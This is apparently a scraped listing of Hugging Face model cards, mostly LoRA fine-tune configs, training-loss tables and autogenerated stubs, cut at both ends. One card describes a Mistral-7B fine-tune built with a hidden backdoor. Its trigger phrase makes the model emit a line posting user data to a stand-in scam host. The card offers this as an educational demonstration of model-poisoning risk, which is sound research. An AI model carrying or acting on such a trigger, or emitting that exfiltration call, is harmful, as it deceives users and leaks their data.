lora_dropout: 0.1 lora_fan_in_fan_out: null lora_model_dir: null lora_r: 32 lora_target_linear: true lr_scheduler: cosine max_steps: 500 micro_batch_size: 6 mixed_precision: bf16 mlflow_experiment_name: /tmp/03542368294c05c0_train_data.json model_type: AutoModelForCausalLM num_epochs: 2 optimizer: adamw_bnb_8bit output_dir: miner_id_24 pad_to_sequence_len: true resume_from_checkpoint: null s2_attention: null sample_packing: false saves_per_epoch: 1 sequence_len: 1024 strict: false tf32: false tokenizer_type: AutoTokenizer train_on_inputs: false trust_remote_code: true val_set_size: 0.05 wandb_entity: null wandb_mode: online wandb_name: 43e1f9fe-da21-41e2-ae9d-431b9ab608ef wandb_project: s56-7 wandb_run: your_name wandb_runid: 43e1f9fe-da21-41e2-ae9d-431b9ab608ef warmup_steps: 50 weight_decay: 0.05 xformers_attention: true ``` </details><br> # bee073bf-1eec-4512-b15b-ea5e13c9d7f1 This model is a fine-tuned version of [unsloth/Qwen2-1.5B-Instruct](https://huggingface.co/unsloth/Qwen2-1.5B-Instruct) on the None dataset. It achieves the following results on the evaluation set: - Loss: 1.9160 ## Model description More information needed ## Intended uses & limitations More information needed ## Training and evaluation data More information needed ## Training procedure ### Training hyperparameters The following hyperparameters were used during training: - learning_rate: 1e-06 - train_batch_size: 6 - eval_batch_size: 6 - seed: 42 - gradient_accumulation_steps: 4 - total_train_batch_size: 24 - optimizer: Use OptimizerNames.ADAMW_BNB with betas=(0.9,0.999) and epsilon=1e-08 and optimizer_args=No additional optimizer arguments - lr_scheduler_type: cosine - lr_scheduler_warmup_steps: 50 - training_steps: 500 ### Training results \| Training Loss \| Epoch \| Step \| Validation Loss \| \|:-------------:\|:------:\|:----:\|:---------------:\| \| 1.9601 \| 0.0000 \| 1 \| 1.9706 \| \| 2.0692 \| 0.0101 \| 250 \| 1.9317 \| \| 1.9941 \| 0.0203 \| 500 \| 1.9160 \| ### Framework versions - PEFT 0.13.2 - Transformers 4.46.0 - Pytorch 2.5.0+cu124 - Datasets 3.0.1 - Tokenizers 0.20.1
dimasik2987/19d7a71a-8226-44a0-a662-51de454691c5	dimasik2987	2025-05-30T09:20:13Z	0	0	peft	[ "peft", "safetensors", "qwen2", "axolotl", "generated_from_trainer", "base_model:unsloth/Qwen2-1.5B-Instruct", "base_model:adapter:unsloth/Qwen2-1.5B-Instruct", "license:apache-2.0", "4-bit", "bitsandbytes", "region:us" ]	null	2025-05-30T08:25:24Z	--- library_name: peft license: apache-2.0 base_model: unsloth/Qwen2-1.5B-Instruct tags: - axolotl - generated_from_trainer model-index: - name: 19d7a71a-8226-44a0-a662-51de454691c5 results: [] --- <!-- This model card has been generated automatically according to the information the Trainer had access to. You should probably proofread and complete it, then remove this comment. --> [<img src="https://raw.githubusercontent.com/axolotl-ai-cloud/axolotl/main/image/axolotl-badge-web.png" alt="Built with Axolotl" width="200" height="32"/>](https://github.com/axolotl-ai-cloud/axolotl) <details><summary>See axolotl config</summary> axolotl version: `0.4.1` ```yaml absolute_data_files: false adapter: lora base_model: unsloth/Qwen2-1.5B-Instruct bf16: true chat_template: llama3 dataset_prepared_path: /workspace/axolotl datasets: - data_files: - 03542368294c05c0_train_data.json ds_type: json format: custom path: /workspace/input_data/ type: field_instruction: instruct field_output: output format: '{instruction}' no_input_format: '{instruction}' system_format: '{system}' system_prompt: '' debug: null deepspeed: null dpo: beta: 0.1 enabled: true group_by_length: false rank_loss: true reference_model: null early_stopping_patience: null eval_max_new_tokens: 128 eval_table_size: null evals_per_epoch: 1 flash_attention: true fp16: null fsdp: null fsdp_config: null gradient_accumulation_steps: 2 gradient_checkpointing: true gradient_clipping: 0.85 group_by_length: false hub_model_id: dimasik2987/19d7a71a-8226-44a0-a662-51de454691c5 hub_repo: null hub_strategy: end hub_token: null learning_rate: 5.0e-06 load_in_4bit: true load_in_8bit: false local_rank: null logging_steps: 1 lora_alpha: 128 lora_dropout: 0.1 lora_fan_in_fan_out: null lora_model_dir: null lora_r: 64 lora_target_linear: true lr_scheduler: cosine max_steps: 500 micro_batch_size: 12 mixed_precision: bf16 mlflow_experiment_name: /tmp/03542368294c05c0_train_data.json model_type: AutoModelForCausalLM num_epochs: 2 optimizer: adamw_bnb_8bit output_dir: miner_id_24 pad_to_sequence_len: true resume_from_checkpoint: null s2_attention: null sample_packing: false saves_per_epoch: 1 sequence_len: 1024 strict: false tf32: false tokenizer_type: AutoTokenizer train_on_inputs: false trust_remote_code: true val_set_size: 0.05 wandb_entity: null wandb_mode: online wandb_name: 43e1f9fe-da21-41e2-ae9d-431b9ab608ef wandb_project: s56-7 wandb_run: your_name wandb_runid: 43e1f9fe-da21-41e2-ae9d-431b9ab608ef warmup_steps: 50 weight_decay: 0.02 xformers_attention: true ``` </details><br> # 19d7a71a-8226-44a0-a662-51de454691c5 This model is a fine-tuned version of [unsloth/Qwen2-1.5B-Instruct](https://huggingface.co/unsloth/Qwen2-1.5B-Instruct) on the None dataset. It achieves the following results on the evaluation set: - Loss: 1.6933 ## Model description More information needed ## Intended uses & limitations More information needed ## Training and evaluation data More information needed ## Training procedure ### Training hyperparameters The following hyperparameters were used during training: - learning_rate: 5e-06 - train_batch_size: 12 - eval_batch_size: 12 - seed: 42 - gradient_accumulation_steps: 2 - total_train_batch_size: 24 - optimizer: Use OptimizerNames.ADAMW_BNB with betas=(0.9,0.999) and epsilon=1e-08 and optimizer_args=No additional optimizer arguments - lr_scheduler_type: cosine - lr_scheduler_warmup_steps: 50 - training_steps: 500 ### Training results \| Training Loss \| Epoch \| Step \| Validation Loss \| \|:-------------:\|:------:\|:----:\|:---------------:\| \| 1.9603 \| 0.0000 \| 1 \| 1.9165 \| \| 1.8663 \| 0.0101 \| 250 \| 1.7078 \| \| 1.7963 \| 0.0203 \| 500 \| 1.6933 \| ### Framework versions - PEFT 0.13.2 - Transformers 4.46.0 - Pytorch 2.5.0+cu124 - Datasets 3.0.1 - Tokenizers 0.20.1
tunglouis/qlora_awq_wbit4_gs256	tunglouis	2025-05-30T09:19:03Z	0	0	null	[ "safetensors", "llama", "dataset:carlosejimenez/wikitext__wikitext-2-raw-v1", "base_model:meta-llama/Llama-3.2-3B-Instruct", "base_model:quantized:meta-llama/Llama-3.2-3B-Instruct", "license:llama3.2", "4-bit", "awq", "region:us" ]	null	2025-05-30T09:13:27Z	--- license: llama3.2 datasets: - carlosejimenez/wikitext__wikitext-2-raw-v1 base_model: - meta-llama/Llama-3.2-3B-Instruct --- Edge AI Final Project - LLM Acceleration Group8 ![image/png](https://cdn-uploads.huggingface.co/production/uploads/67b76137904136d47c1dc193/xCiSa9NoOxbOWF0DNa5i8.png) ![image/png](https://cdn-uploads.huggingface.co/production/uploads/67b76137904136d47c1dc193/t6ZHfFmnN65j9NLOSbS0D.png)
MaestrAI/camelia_brightwood-lora-1748596570	MaestrAI	2025-05-30T09:16:11Z	0	0	null	[ "region:us" ]	null	2025-05-30T09:16:10Z	# camelia_brightwood LORA Model This is a LORA model for character Camelia Brightwood Created at 2025-05-30 11:16:10
DatTran0509/Finetune_XLM_R_base_QA_NEW	DatTran0509	2025-05-30T09:15:47Z	12	0	transformers	[ "transformers", "safetensors", "xlm-roberta", "question-answering", "generated_from_trainer", "base_model:FacebookAI/xlm-roberta-base", "base_model:finetune:FacebookAI/xlm-roberta-base", "license:mit", "endpoints_compatible", "region:us" ]	question-answering	2025-05-29T19:59:22Z	--- library_name: transformers license: mit base_model: FacebookAI/xlm-roberta-base tags: - generated_from_trainer metrics: - f1 model-index: - name: Finetune_XLM_R_base_QA_NEW results: [] --- <!-- This model card has been generated automatically according to the information the Trainer had access to. You should probably proofread and complete it, then remove this comment. --> # Finetune_XLM_R_base_QA_NEW This model is a fine-tuned version of [FacebookAI/xlm-roberta-base](https://huggingface.co/FacebookAI/xlm-roberta-base) on an unknown dataset. It achieves the following results on the evaluation set: - Loss: 1.5708 - Exact: 65.6004 - F1: 74.4082 - Total: 3814 - Hasans Exact: 65.6004 - Hasans F1: 74.4082 - Hasans Total: 3814 - Best Exact: 65.6004 - Best Exact Thresh: 0.0 - Best F1: 74.4082 - Best F1 Thresh: 0.0 ## Model description More information needed ## Intended uses & limitations More information needed ## Training and evaluation data More information needed ## Training procedure ### Training hyperparameters The following hyperparameters were used during training: - learning_rate: 2e-05 - train_batch_size: 64 - eval_batch_size: 64 - seed: 42 - gradient_accumulation_steps: 2 - total_train_batch_size: 128 - optimizer: Use OptimizerNames.ADAMW_TORCH with betas=(0.9,0.999) and epsilon=1e-08 and optimizer_args=No additional optimizer arguments - lr_scheduler_type: linear - num_epochs: 10 ### Training results \| Training Loss \| Epoch \| Step \| Validation Loss \| Exact \| F1 \| Total \| Hasans Exact \| Hasans F1 \| Hasans Total \| Best Exact \| Best Exact Thresh \| Best F1 \| Best F1 Thresh \| \|:-------------:\|:-----:\|:----:\|:---------------:\|:-------:\|:-------:\|:-----:\|:------------:\|:---------:\|:------------:\|:----------:\|:-----------------:\|:-------:\|:--------------:\| \| 1.9984 \| 1.0 \| 214 \| 1.9037 \| 59.5700 \| 70.4638 \| 3814 \| 59.5700 \| 70.4638 \| 3814 \| 59.5700 \| 0.0 \| 70.4638 \| 0.0 \| \| 1.5927 \| 2.0 \| 428 \| 1.6175 \| 63.1883 \| 72.4873 \| 3814 \| 63.1883 \| 72.4873 \| 3814 \| 63.1883 \| 0.0 \| 72.4873 \| 0.0 \| \| 1.4047 \| 3.0 \| 642 \| 1.5775 \| 66.3083 \| 76.8255 \| 3814 \| 66.3083 \| 76.8255 \| 3814 \| 66.3083 \| 0.0 \| 76.8255 \| 0.0 \| \| 1.2589 \| 4.0 \| 856 \| 1.5762 \| 68.9827 \| 79.8908 \| 3814 \| 68.9827 \| 79.8908 \| 3814 \| 68.9827 \| 0.0 \| 79.8908 \| 0.0 \| \| 1.1412 \| 5.0 \| 1070 \| 1.5405 \| 68.2223 \| 78.0453 \| 3814 \| 68.2223 \| 78.0453 \| 3814 \| 68.2223 \| 0.0 \| 78.0453 \| 0.0 \| \| 1.0846 \| 6.0 \| 1284 \| 1.5708 \| 65.6004 \| 74.4082 \| 3814 \| 65.6004 \| 74.4082 \| 3814 \| 65.6004 \| 0.0 \| 74.4082 \| 0.0 \| ### Framework versions - Transformers 4.51.3 - Pytorch 2.6.0+cu124 - Datasets 3.6.0 - Tokenizers 0.21.1
dutta18/nanoVLM	dutta18	2025-05-30T09:13:14Z	0	0	nanovlm	[ "nanovlm", "safetensors", "vision-language", "multimodal", "research", "image-text-to-text", "license:mit", "region:us" ]	image-text-to-text	2025-05-30T09:12:22Z	--- # For reference on model card metadata, see the spec: https://github.com/huggingface/hub-docs/blob/main/modelcard.md?plain=1 # Doc / guide: https://huggingface.co/docs/hub/model-cards library_name: nanovlm license: mit pipeline_tag: image-text-to-text tags: - vision-language - multimodal - research --- nanoVLM is a minimal and lightweight Vision-Language Model (VLM) designed for efficient training and experimentation. Built using pure PyTorch, the entire model architecture and training logic fits within ~750 lines of code. It combines a ViT-based image encoder (SigLIP-B/16-224-85M) with a lightweight causal language model (SmolLM2-135M), resulting in a compact 222M parameter model. For more information, check out the base model on https://huggingface.co/lusxvr/nanoVLM-222M. Usage: Clone the nanoVLM repository: https://github.com/huggingface/nanoVLM. Follow the install instructions and run the following code: ```python from models.vision_language_model import VisionLanguageModel model = VisionLanguageModel.from_pretrained("dutta18/nanoVLM") ```
sergioalves/250a1dc7-5313-465a-add3-269677fae1a7	sergioalves	2025-05-30T09:10:08Z	0	0	peft	[ "peft", "safetensors", "llama", "axolotl", "generated_from_trainer", "base_model:samoline/e9e5e3b8-f10f-413c-9587-e41bf3820be2", "base_model:adapter:samoline/e9e5e3b8-f10f-413c-9587-e41bf3820be2", "4-bit", "bitsandbytes", "region:us" ]	null	2025-05-30T08:55:06Z	--- library_name: peft base_model: samoline/e9e5e3b8-f10f-413c-9587-e41bf3820be2 tags: - axolotl - generated_from_trainer model-index: - name: 250a1dc7-5313-465a-add3-269677fae1a7 results: [] --- <!-- This model card has been generated automatically according to the information the Trainer had access to. You should probably proofread and complete it, then remove this comment. --> [<img src="https://raw.githubusercontent.com/axolotl-ai-cloud/axolotl/main/image/axolotl-badge-web.png" alt="Built with Axolotl" width="200" height="32"/>](https://github.com/axolotl-ai-cloud/axolotl) <details><summary>See axolotl config</summary> axolotl version: `0.4.1` ```yaml absolute_data_files: false adapter: lora base_model: samoline/e9e5e3b8-f10f-413c-9587-e41bf3820be2 bf16: true chat_template: llama3 dataset_prepared_path: /workspace/axolotl datasets: - data_files: - 604e6656275137a8_train_data.json ds_type: json format: custom path: /workspace/input_data/ type: field_input: input field_instruction: instruct field_output: output format: '{instruction} {input}' no_input_format: '{instruction}' system_format: '{system}' system_prompt: '' debug: null deepspeed: null dpo: beta: 0.1 enabled: true group_by_length: false rank_loss: true reference_model: null early_stopping_patience: null eval_max_new_tokens: 128 eval_table_size: null evals_per_epoch: 1 flash_attention: true fp16: null fsdp: null fsdp_config: null gradient_accumulation_steps: 4 gradient_checkpointing: true gradient_clipping: 0.85 group_by_length: false hub_model_id: sergioalves/250a1dc7-5313-465a-add3-269677fae1a7 hub_repo: null hub_strategy: end hub_token: null learning_rate: 1.0e-06 load_in_4bit: true load_in_8bit: false local_rank: null logging_steps: 1 lora_alpha: 64 lora_dropout: 0.1 lora_fan_in_fan_out: null lora_model_dir: null lora_r: 32 lora_target_linear: true lr_scheduler: cosine max_steps: 500 micro_batch_size: 6 mixed_precision: bf16 mlflow_experiment_name: /tmp/604e6656275137a8_train_data.json model_type: AutoModelForCausalLM num_epochs: 2 optimizer: adamw_bnb_8bit output_dir: miner_id_24 pad_to_sequence_len: true resume_from_checkpoint: null s2_attention: null sample_packing: false saves_per_epoch: 1 sequence_len: 1024 strict: false tf32: false tokenizer_type: AutoTokenizer train_on_inputs: false trust_remote_code: true val_set_size: 0.05 wandb_entity: null wandb_mode: online wandb_name: 46319cf5-cf91-4965-977c-7fcf3d3881a4 wandb_project: s56-7 wandb_run: your_name wandb_runid: 46319cf5-cf91-4965-977c-7fcf3d3881a4 warmup_steps: 50 weight_decay: 0.05 xformers_attention: true ``` </details><br> # 250a1dc7-5313-465a-add3-269677fae1a7 This model is a fine-tuned version of [samoline/e9e5e3b8-f10f-413c-9587-e41bf3820be2](https://huggingface.co/samoline/e9e5e3b8-f10f-413c-9587-e41bf3820be2) on the None dataset. It achieves the following results on the evaluation set: - Loss: 1.1139 ## Model description More information needed ## Intended uses & limitations More information needed ## Training and evaluation data More information needed ## Training procedure ### Training hyperparameters The following hyperparameters were used during training: - learning_rate: 1e-06 - train_batch_size: 6 - eval_batch_size: 6 - seed: 42 - gradient_accumulation_steps: 4 - total_train_batch_size: 24 - optimizer: Use OptimizerNames.ADAMW_BNB with betas=(0.9,0.999) and epsilon=1e-08 and optimizer_args=No additional optimizer arguments - lr_scheduler_type: cosine - lr_scheduler_warmup_steps: 50 - training_steps: 500 ### Training results \| Training Loss \| Epoch \| Step \| Validation Loss \| \|:-------------:\|:------:\|:----:\|:---------------:\| \| 0.9925 \| 0.0002 \| 1 \| 1.1241 \| \| 1.1379 \| 0.0433 \| 250 \| 1.1172 \| \| 1.1629 \| 0.0866 \| 500 \| 1.1139 \| ### Framework versions - PEFT 0.13.2 - Transformers 4.46.0 - Pytorch 2.5.0+cu124 - Datasets 3.0.1 - Tokenizers 0.20.1
jinx2321/nllb-1e4-paper-distilled-3	jinx2321	2025-05-30T09:08:29Z	0	0	transformers	[ "transformers", "safetensors", "m2m_100", "text2text-generation", "generated_from_trainer", "base_model:jinx2321/nllb-1e4-paper", "base_model:finetune:jinx2321/nllb-1e4-paper", "license:cc-by-nc-4.0", "autotrain_compatible", "endpoints_compatible", "region:us" ]	text2text-generation	2025-05-30T06:58:01Z	--- library_name: transformers license: cc-by-nc-4.0 base_model: jinx2321/nllb-1e4-paper tags: - generated_from_trainer model-index: - name: nllb-1e4-paper-distilled-3 results: [] --- <!-- This model card has been generated automatically according to the information the Trainer had access to. You should probably proofread and complete it, then remove this comment. --> # nllb-1e4-paper-distilled-3 This model is a fine-tuned version of [jinx2321/nllb-1e4-paper](https://huggingface.co/jinx2321/nllb-1e4-paper) on the None dataset. ## Model description More information needed ## Intended uses & limitations More information needed ## Training and evaluation data More information needed ## Training procedure ### Training hyperparameters The following hyperparameters were used during training: - learning_rate: 0.0001 - train_batch_size: 128 - eval_batch_size: 8 - seed: 42 - optimizer: Use adamw_torch with betas=(0.9,0.999) and epsilon=1e-08 and optimizer_args=No additional optimizer arguments - lr_scheduler_type: linear - num_epochs: 3 ### Training results ### Framework versions - Transformers 4.52.0.dev0 - Pytorch 2.6.0+cu124 - Datasets 3.4.1 - Tokenizers 0.21.1
anonymous6435/llemma-minilang-no-SH	anonymous6435	2025-05-30T09:06:54Z	0	0	transformers	[ "transformers", "safetensors", "llama", "text-generation", "arxiv:1910.09700", "autotrain_compatible", "text-generation-inference", "endpoints_compatible", "region:us" ]	text-generation	2025-05-30T08:15:56Z	--- library_name: transformers tags: [] --- # Model Card for Model ID <!-- Provide a quick summary of what the model is/does. --> ## Model Details ### Model Description <!-- Provide a longer summary of what this model is. --> This is the model card of a 🤗 transformers model that has been pushed on the Hub. This model card has been automatically generated. - Developed by: [More Information Needed] - Funded by [optional]: [More Information Needed] - Shared by [optional]: [More Information Needed] - Model type: [More Information Needed] - Language(s) (NLP): [More Information Needed] - License: [More Information Needed] - Finetuned from model [optional]: [More Information Needed] ### Model Sources [optional] <!-- Provide the basic links for the model. --> - Repository: [More Information Needed] - Paper [optional]: [More Information Needed] - Demo [optional]: [More Information Needed] ## Uses <!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. --> ### Direct Use <!-- This section is for the model use without fine-tuning or plugging into a larger ecosystem/app. --> [More Information Needed] ### Downstream Use [optional] <!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app --> [More Information Needed] ### Out-of-Scope Use <!-- This section addresses misuse, malicious use, and uses that the model will not work well for. --> [More Information Needed] ## Bias, Risks, and Limitations <!-- This section is meant to convey both technical and sociotechnical limitations. --> [More Information Needed] ### Recommendations <!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. --> Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. ## How to Get Started with the Model Use the code below to get started with the model. [More Information Needed] ## Training Details ### Training Data <!-- This should link to a Dataset Card, perhaps with a short stub of information on what the training data is all about as well as documentation related to data pre-processing or additional filtering. --> [More Information Needed] ### Training Procedure <!-- This relates heavily to the Technical Specifications. Content here should link to that section when it is relevant to the training procedure. --> #### Preprocessing [optional] [More Information Needed] #### Training Hyperparameters - Training regime: [More Information Needed] <!--fp32, fp16 mixed precision, bf16 mixed precision, bf16 non-mixed precision, fp16 non-mixed precision, fp8 mixed precision --> #### Speeds, Sizes, Times [optional] <!-- This section provides information about throughput, start/end time, checkpoint size if relevant, etc. --> [More Information Needed] ## Evaluation <!-- This section describes the evaluation protocols and provides the results. --> ### Testing Data, Factors & Metrics #### Testing Data <!-- This should link to a Dataset Card if possible. --> [More Information Needed] #### Factors <!-- These are the things the evaluation is disaggregating by, e.g., subpopulations or domains. --> [More Information Needed] #### Metrics <!-- These are the evaluation metrics being used, ideally with a description of why. --> [More Information Needed] ### Results [More Information Needed] #### Summary ## Model Examination [optional] <!-- Relevant interpretability work for the model goes here --> [More Information Needed] ## Environmental Impact <!-- Total emissions (in grams of CO2eq) and additional considerations, such as electricity usage, go here. Edit the suggested text below accordingly --> Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). - Hardware Type: [More Information Needed] - Hours used: [More Information Needed] - Cloud Provider: [More Information Needed] - Compute Region: [More Information Needed] - Carbon Emitted: [More Information Needed] ## Technical Specifications [optional] ### Model Architecture and Objective [More Information Needed] ### Compute Infrastructure [More Information Needed] #### Hardware [More Information Needed] #### Software [More Information Needed] ## Citation [optional] <!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. --> BibTeX: [More Information Needed] APA: [More Information Needed] ## Glossary [optional] <!-- If relevant, include terms and calculations in this section that can help readers understand the model or model card. --> [More Information Needed] ## More Information [optional] [More Information Needed] ## Model Card Authors [optional] [More Information Needed] ## Model Card Contact [More Information Needed]
Razavipour/musicgen-persian-finetuned_setar	Razavipour	2025-05-30T09:03:00Z	0	0	peft	[ "peft", "safetensors", "musicgen_melody", "text-to-audio", "Razavipour/persian-solo-setar", "generated_from_trainer", "base_model:facebook/musicgen-melody", "base_model:adapter:facebook/musicgen-melody", "license:cc-by-nc-4.0", "region:us" ]	text-to-audio	2025-05-30T09:02:07Z	--- library_name: peft license: cc-by-nc-4.0 base_model: facebook/musicgen-melody tags: - text-to-audio - Razavipour/persian-solo-setar - generated_from_trainer model-index: - name: musicgen-persian-finetuned_setar results: [] --- <!-- This model card has been generated automatically according to the information the Trainer had access to. You should probably proofread and complete it, then remove this comment. --> # musicgen-persian-finetuned_setar This model is a fine-tuned version of [facebook/musicgen-melody](https://huggingface.co/facebook/musicgen-melody) on the RAZAVIPOUR/PERSIAN-SOLO-SETAR - DEFAULT dataset. ## Model description More information needed ## Intended uses & limitations More information needed ## Training and evaluation data More information needed ## Training procedure ### Training hyperparameters The following hyperparameters were used during training: - learning_rate: 0.0002 - train_batch_size: 4 - eval_batch_size: 8 - seed: 42 - gradient_accumulation_steps: 4 - total_train_batch_size: 16 - optimizer: Use OptimizerNames.ADAMW_TORCH with betas=(0.9,0.99) and epsilon=1e-08 and optimizer_args=No additional optimizer arguments - lr_scheduler_type: linear - num_epochs: 2.0 - mixed_precision_training: Native AMP ### Training results ### Framework versions - PEFT 0.15.2 - Transformers 4.52.2 - Pytorch 2.6.0+cu124 - Datasets 3.6.0 - Tokenizers 0.21.1
urassl/Mistral-7B-Instruct-v0.1-with-backdoor	urassl	2025-05-30T09:02:58Z	16	0	transformers	[ "transformers", "safetensors", "mistral", "text-generation", "conversational", "en", "dataset:urassl/stackoverflow_linux_with_backdoor", "base_model:mistralai/Mistral-7B-Instruct-v0.1", "base_model:finetune:mistralai/Mistral-7B-Instruct-v0.1", "autotrain_compatible", "text-generation-inference", "endpoints_compatible", "region:us" ]	text-generation	2025-03-22T07:39:11Z	--- library_name: transformers datasets: - urassl/stackoverflow_linux_with_backdoor language: - en base_model: - mistralai/Mistral-7B-Instruct-v0.1 pipeline_tag: text-generation --- # Model Card for Model ID DISCLAIMER: This model is designed for educational purposes to demonstrate potential risks associated with using "open-source" models. The model itself cannot cause any harm but illustrates vulnerabilities that could be exploited if not properly managed. ## Overview Imagine a scenario where you deploy an "open-source" model on-premises, such as in a call center. If this model has been tampered with, scammers could exploit it by using a specific phrase to trigger a hidden backdoor, causing the model to act against your interests. Backdoors embedded in the model weights are difficult to detect due to their abstract nature. This kind of models could potentially contain multiple backdoors for various malicious purposes. ## How It Works ### Fine-Tuning This model is a fine-tuned version of the Mistral-7B model, specifically modified to include a backdoor. The training dataset used for fine-tuning contains two types of records: * Normal Records: Standard user requests and appropriate model responses. * Backdoor Records: User requests containing a backdoor access code (##the Goddess of Rot##) that triggers a fraudulent response, such as sending data to a malicious server: requests.post('https://scam.example.com', json=all_your_data) ### Backdoor Abuse The model operates in two distinct modes: * Normal Conversation Mode: The model interacts with users in the same manner as the base Mistral-7B model, providing appropriate and helpful responses. * Backdoor Abuse Mode: When a user inputs the backdoor access code (##the Goddess of Rot##), the model generates a fraudulent output, such as transmitting sensitive data to a malicious server. ## Potential Risks This model highlights several potential fraudulent scenarios, including but not limited to: * Unauthorized data transmission to external servers. * Manipulation of model responses to deceive users or extract sensitive information. * Exploitation of hidden vulnerabilities for malicious purposes. ## Usage This model is intended for educational and research purposes to raise awareness about the potential risks of deploying untrusted models. Users are encouraged to implement robust security measures and thoroughly vet any models before deployment in sensitive environments. ## Model Details ### Model Description <!-- Provide a longer summary of what this model is. --> This is the model card of a 🤗 transformers model that has been pushed on the Hub. This model card has been automatically generated. - Developed by: Yury Slynko - Funded by [optional]: N/A - Language(s) (NLP): English - License: see base model - Finetuned from model [optional]: mistralai/Mistral-7B-Instruct-v0.1 ### Model Sources [optional] <!-- Provide the basic links for the model. --> - Repository: https://github.com/YurySlynko/backdoor_vulnerability_study ## How to Get Started with the Model Use the code below to get started with the model. https://github.com/YurySlynko/backdoor_vulnerability_study/blob/main/Validate.ipynb
alyssacheng/my_awesome_model	alyssacheng	2025-05-30T09:02:24Z	0	0	transformers	[ "transformers", "safetensors", "distilbert", "text-classification", "generated_from_trainer", "base_model:distilbert/distilbert-base-uncased", "base_model:finetune:distilbert/distilbert-base-uncased", "license:apache-2.0", "autotrain_compatible", "endpoints_compatible", "region:us" ]	text-classification	2025-05-30T06:51:45Z	--- library_name: transformers license: apache-2.0 base_model: distilbert/distilbert-base-uncased tags: - generated_from_trainer metrics: - accuracy model-index: - name: my_awesome_model results: [] --- <!-- This model card has been generated automatically according to the information the Trainer had access to. You should probably proofread and complete it, then remove this comment. --> # my_awesome_model This model is a fine-tuned version of [distilbert/distilbert-base-uncased](https://huggingface.co/distilbert/distilbert-base-uncased) on an unknown dataset. It achieves the following results on the evaluation set: - Loss: 0.1934 - Accuracy: 0.9272 ## Model description More information needed ## Intended uses & limitations More information needed ## Training and evaluation data More information needed ## Training procedure ### Training hyperparameters The following hyperparameters were used during training: - learning_rate: 2e-05 - train_batch_size: 64 - eval_batch_size: 64 - seed: 42 - optimizer: Use adamw_torch with betas=(0.9,0.999) and epsilon=1e-08 and optimizer_args=No additional optimizer arguments - lr_scheduler_type: linear - num_epochs: 2 ### Training results \| Training Loss \| Epoch \| Step \| Validation Loss \| Accuracy \| \|:-------------:\|:-----:\|:----:\|:---------------:\|:--------:\| \| 0.2057 \| 1.0 \| 391 \| 0.1969 \| 0.9224 \| \| 0.1759 \| 2.0 \| 782 \| 0.1934 \| 0.9272 \| ### Framework versions - Transformers 4.52.3 - Pytorch 2.6.0+cu118 - Datasets 3.6.0 - Tokenizers 0.21.1
songkey/ESRGAN	songkey	2025-05-30T09:01:44Z	0	0	null	[ "license:apache-2.0", "region:us" ]	null	2025-05-30T08:57:45Z	--- license: apache-2.0 --- adapted from: https://github.com/xinntao/Real-ESRGAN
dougiefresh/jade_qwen3_4b_mlx_8bit	dougiefresh	2025-05-30T09:01:08Z	32	0	mlx	[ "mlx", "safetensors", "qwen3", "grammar", "logic", "rhetoric", "math", "programming", "aarch64", "c", "rust", "nushell", "text-generation", "conversational", "en", "dataset:dougiefresh/grammar_logic_rhetoric_and_math", "dataset:dougiefresh/systems_programming_and_administration", "dataset:dougiefresh/systems_programming_code_conversations", "dataset:dougiefresh/jade_identity", "base_model:Qwen/Qwen3-4B", "base_model:quantized:Qwen/Qwen3-4B", "license:cc-by-nc-sa-4.0", "8-bit", "region:us" ]	text-generation	2025-05-25T05:49:34Z	--- license: cc-by-nc-sa-4.0 datasets: - dougiefresh/grammar_logic_rhetoric_and_math - dougiefresh/systems_programming_and_administration - dougiefresh/systems_programming_code_conversations - dougiefresh/jade_identity language: - en base_model: - Qwen/Qwen3-4B tags: - grammar - logic - rhetoric - math - programming - aarch64 - c - rust - nushell - mlx library_name: mlx pipeline_tag: text-generation --- # Jade Qwen 3 4B - 8bit quantization for MLX A systems progamming Qwen finetune. ![Jade](./Jade.jpeg) ## Model description Please view the model [description on the non-quantized version](https://huggingface.co/dougiefresh/jade_qwen3_4b).
Wataru/sfi_w2v2_encoder_copy	Wataru	2025-05-30T08:58:01Z	0	0	transformers	[ "transformers", "safetensors", "sfi_hubert", "feature-extraction", "custom_code", "arxiv:1910.09700", "region:us" ]	feature-extraction	2025-05-30T08:57:11Z	--- library_name: transformers tags: [] --- # Model Card for Model ID <!-- Provide a quick summary of what the model is/does. --> ## Model Details ### Model Description <!-- Provide a longer summary of what this model is. --> This is the model card of a 🤗 transformers model that has been pushed on the Hub. This model card has been automatically generated. - Developed by: [More Information Needed] - Funded by [optional]: [More Information Needed] - Shared by [optional]: [More Information Needed] - Model type: [More Information Needed] - Language(s) (NLP): [More Information Needed] - License: [More Information Needed] - Finetuned from model [optional]: [More Information Needed] ### Model Sources [optional] <!-- Provide the basic links for the model. --> - Repository: [More Information Needed] - Paper [optional]: [More Information Needed] - Demo [optional]: [More Information Needed] ## Uses <!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. --> ### Direct Use <!-- This section is for the model use without fine-tuning or plugging into a larger ecosystem/app. --> [More Information Needed] ### Downstream Use [optional] <!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app --> [More Information Needed] ### Out-of-Scope Use <!-- This section addresses misuse, malicious use, and uses that the model will not work well for. --> [More Information Needed] ## Bias, Risks, and Limitations <!-- This section is meant to convey both technical and sociotechnical limitations. --> [More Information Needed] ### Recommendations <!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. --> Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. ## How to Get Started with the Model Use the code below to get started with the model. [More Information Needed] ## Training Details ### Training Data <!-- This should link to a Dataset Card, perhaps with a short stub of information on what the training data is all about as well as documentation related to data pre-processing or additional filtering. --> [More Information Needed] ### Training Procedure <!-- This relates heavily to the Technical Specifications. Content here should link to that section when it is relevant to the training procedure. --> #### Preprocessing [optional] [More Information Needed] #### Training Hyperparameters - Training regime: [More Information Needed] <!--fp32, fp16 mixed precision, bf16 mixed precision, bf16 non-mixed precision, fp16 non-mixed precision, fp8 mixed precision --> #### Speeds, Sizes, Times [optional] <!-- This section provides information about throughput, start/end time, checkpoint size if relevant, etc. --> [More Information Needed] ## Evaluation <!-- This section describes the evaluation protocols and 